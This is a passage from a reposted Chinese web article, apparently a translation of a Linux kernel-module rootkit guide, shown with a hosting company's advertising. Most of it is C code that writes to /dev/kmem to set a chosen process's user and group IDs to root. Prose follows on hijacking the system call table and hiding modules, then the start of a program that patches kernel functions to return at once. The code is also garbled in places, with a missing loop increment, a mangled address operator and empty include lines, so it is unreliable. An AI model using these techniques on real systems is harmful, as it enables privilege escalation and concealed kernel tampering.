手机站
网通分站
电信主站
密 码:
用户名:
当前位置 : 主页>网站运营>建站经验>列表

Linux系统可卸载内核模块完全指南(下)

来源:互联网 作者:west263.com 时间:2008-04-16
西部数码-全国虚拟主机10强!40余项虚拟主机管理功能,全国领先!双线多线虚拟主机南北访问畅通无阻!免费赠送企业邮局,.CN域名,自助建站480元起,免费试用7天,满意再付款! P4主机租用799元/月.月付免压金!

  
  int pgrp;
  
  int tty_old_pgrp;
  
  int session;
  
  int leader;
  
  int groups[NGROUPS];
  
  struct task_struct *p_opptr, *p_pptr, *p_cptr, *p_ysptr, *p_osptr;
  
  struct wait_queue *wait_chldexit;
  
  unsigned short uid,euid,suid,fsuid;
  
  unsigned short gid,egid,sgid,fsgid;
  
  unsigned long timeout, policy, rt_priority;
  
  unsigned long it_real_value, it_prof_value, it_virt_value;
  
  unsigned long it_real_incr, it_prof_incr, it_virt_incr;
  
  struct timer_list real_timer;
  
  long utime, stime, cutime, cstime, start_time;
  
  unsigned long min_flt, maj_flt, nswap, cmin_flt, cmaj_flt, cnswap;
  
  int swappable:1;
  
  unsigned long swap_address;
  
  unsigned long old_maj_flt;
  
  unsigned long dec_flt;
  
  unsigned long swap_cnt;
  
  struct rlimit rlim[RLIM_NLIMITS];
  
  unsigned short used_math;
  
  char comm[16];
  
  int link_count;
  
  struct tty_struct *tty;
  
  struct sem_undo *semundo;
  
  struct sem_queue *semsleeping;
  
  struct desc_struct *ldt;
  
  struct thread_struct tss;
  
  struct fs_struct *fs;
  
  struct files_struct *files;
  
  struct mm_struct *mm;
  
  struct signal_struct *sig;
  
  #ifdef __SMP__
  
  int processor;
  
  int last_processor;
  
  int lock_depth;
  
  #endif
  
  };
  
  */
  
  int main(int argc, char *argv[])
  
  {
  
  unsigned long task[NR_TASKS];
  
  /*用于特定PID的任务结构*/
  
  struct task_struct current;
  
  int kmemh;
  
  int i;
  
  pid_t pid;
  
  int retval;
  
  pid = atoi(argv[2]);
  
  kmemh = open("/dev/kmem", O_RDWR);
  
  /*找到第一个任务结构的内存地址*/
  
  lseek(kmemh, strtoul(argv[1], NULL, 16), SEEK_SET);
  
  read(kmemh, task, sizeof(task));
  
  
  /*遍历知道我们找到我们的任务结构(由PID确定)*/
  
  for (i = 0; i < NR_TASKS; i )
  
  {
  
  lseek(kmemh, task, SEEK_SET);
  
  read(kmemh, ¤t, sizeof(current));
  
  
/*是我们的进程么*/
  
  if (current.pid == pid)
  
  {
  
  /*是的,因此改变UID域。。。。*/
  
  current.uid = current.euid = 0;
  
  current.gid = current.egid = 0;
  
  /*写回到内存*/
  
  lseek(kmemh, task, SEEK_SET);
  
  write(kmemh, ¤t, sizeof(current));
  
  printf("Process was found and task structure was modified\n");
  
  exit(0);
  
  }
  
  }
  
  }
  
  关于这个小程式没有什么太特别的地方。他但是是在一个域中找到某些匹配的,然后再改变某些域罢了。除此之外更有很多程式来做类似的工作。您能够看到,上面的这个例子并不能帮助您攻击系统。他只是用于演示的。(但是也许有一些弱智的系统允许用户写/dev/kmem,我不知道)。用同样的方法您也能够改变控制系统内核信息的模块结构。通过对kmem操作,您也能够隐藏一个模块;我在这里就不给出源代码了,因为基本上和上面的那个程式相同(当然,搜索是有点难了)。通过上面的方法我们能够改变一个内核的结构。有一些程式是做这个的。但是,对于函数我们怎么办呢?我们能够在网上搜索,并且会发现并没有太多的程式来完成这个。当然,对一个内核函数进行补丁会更有技巧一些(在后面我们会做一些更有用的事情)。对于sys_call_table结构的最好的入侵方法就是让他指向一个完全我们自己的新的函数。下面的例子仅仅是个十分简单的程式,他让任何的系统调用什么也不干。我仅仅插入一个RET(0xc3)在每一个我从/proc/ksyms获得的函数地址前面。这样这个函数就会马上返回,什么也不做。
  
  /*同样的,没有错误检查*/
  
  #include
  
  #include
  
  #include
  
  #include
  
  /*但是是我们的返回代码*/
  
  unsigned char asmcode[]={0xc3};
  
  int main(int argc, char *argv[])
  
  {
  
  unsigned long counter;
  
  int kmemh;
  
  /*打开设备*/
  
  kmemh = open("/dev/kmem", O_RDWR);
  
  /*找到内存地址中函数开始的地方*/
  

文章整理:西部数码--专业提供域名注册虚拟主机服务
http://www.west263.com
以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢!